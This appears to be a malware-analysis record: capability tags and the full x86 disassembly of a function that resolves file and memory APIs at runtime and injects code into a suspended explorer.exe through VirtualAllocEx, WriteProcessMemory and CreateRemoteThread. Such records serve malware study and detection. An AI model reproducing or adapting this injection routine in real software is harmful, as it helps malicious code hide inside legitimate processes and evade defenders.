Function at 0x401600
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push 0x104
push 0x4044a0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x14], 0x4044a0
mov dword [ebp - 0x10], 0x4046a8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x14]
mov dl, byte [ecx]
mov byte [ebp - 1], dl
mov eax, dword [ebp - 0x10]
mov cl, byte [ebp - 1]
mov byte [eax], cl
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
cmp byte [ebp - 1], 0
jne 0x401633
mov dword [ebp - 8], 0x4046a8
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 8]
mov al, byte [edx]
mov byte [ebp - 2], al
add dword [ebp - 8], 1
cmp byte [ebp - 2], 0
jne 0x40166b
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x20]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0xc], edx
jmp 0x401697
mov eax, dword [ebp - 0xc]
sub eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x4016ba
mov ecx, dword [ebp - 0xc]
movsx edx, byte [ecx + 0x4046a8]
cmp edx, 0x5c
jne 0x4016b8
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x4046a9], 0
jmp 0x4016ba
jmp 0x40168e
push str.GetTickCount
mov ecx, dword [0x4043bc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x404428], eax
push str.CreateFileA
mov edx, dword [0x4043bc]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x404430], eax
push str.GetFileSize
mov eax, dword [0x4043bc]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x404434], eax
push str.ReadFile
mov ecx, dword [0x4043bc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40443c], eax
push str.SetFilePointer
mov edx, dword [0x4043bc]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x404448], eax
push str.SetEndOfFile
mov eax, dword [0x4043bc]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40444c], eax
push str.WriteFile
mov ecx, dword [0x4043bc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x404450], eax
push str.CloseHandle
mov edx, dword [0x4043bc]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x404454], eax
push 0x403204
mov eax, dword [0x4043bc]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x404468], eax
push 0x403210
mov ecx, dword [0x4043bc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x404498], eax
push str.VirtualAlloc
mov edx, dword [0x4043bc]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x404488], eax
push str.Sleep
mov eax, dword [0x4043bc]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40449c], eax
push str.srand
mov ecx, dword [0x4043c0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40442c], eax
push str.malloc
mov edx, dword [0x4043c0]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x404438], eax
push str.rand
mov eax, dword [0x4043c0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x404440], eax
push str.memcpy
mov ecx, dword [0x4043c0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x404444], eax
push str.strlen
mov edx, dword [0x4043c0]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40445c], eax
push str.strcat
mov eax, dword [0x4043c0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x404460], eax
push str.strcpy
mov ecx, dword [0x4043c0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x404458], eax
push str.rename
mov edx, dword [0x4043c0]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x404464], eax
push 0x4043c4
push 0x4043e0
push 0
push 0
push 0x8000044
push 0
push 0
push 0
push str.explorer.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0x40
push 0x1000
push 0x488
push 0
mov eax, dword [0x4043c4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x18], eax
push 0
push 0x488
push 0x404428
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [0x4043c4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x40
push 0x1000
push 0x3e8
push 0
mov eax, dword [0x4043c4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1c], eax
push 0
push 0x3e8
push 0x4010e0
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [0x4043c4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
push 0
push 0
mov edx, dword [0x4043c4]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esp, ebp
pop ebp
ret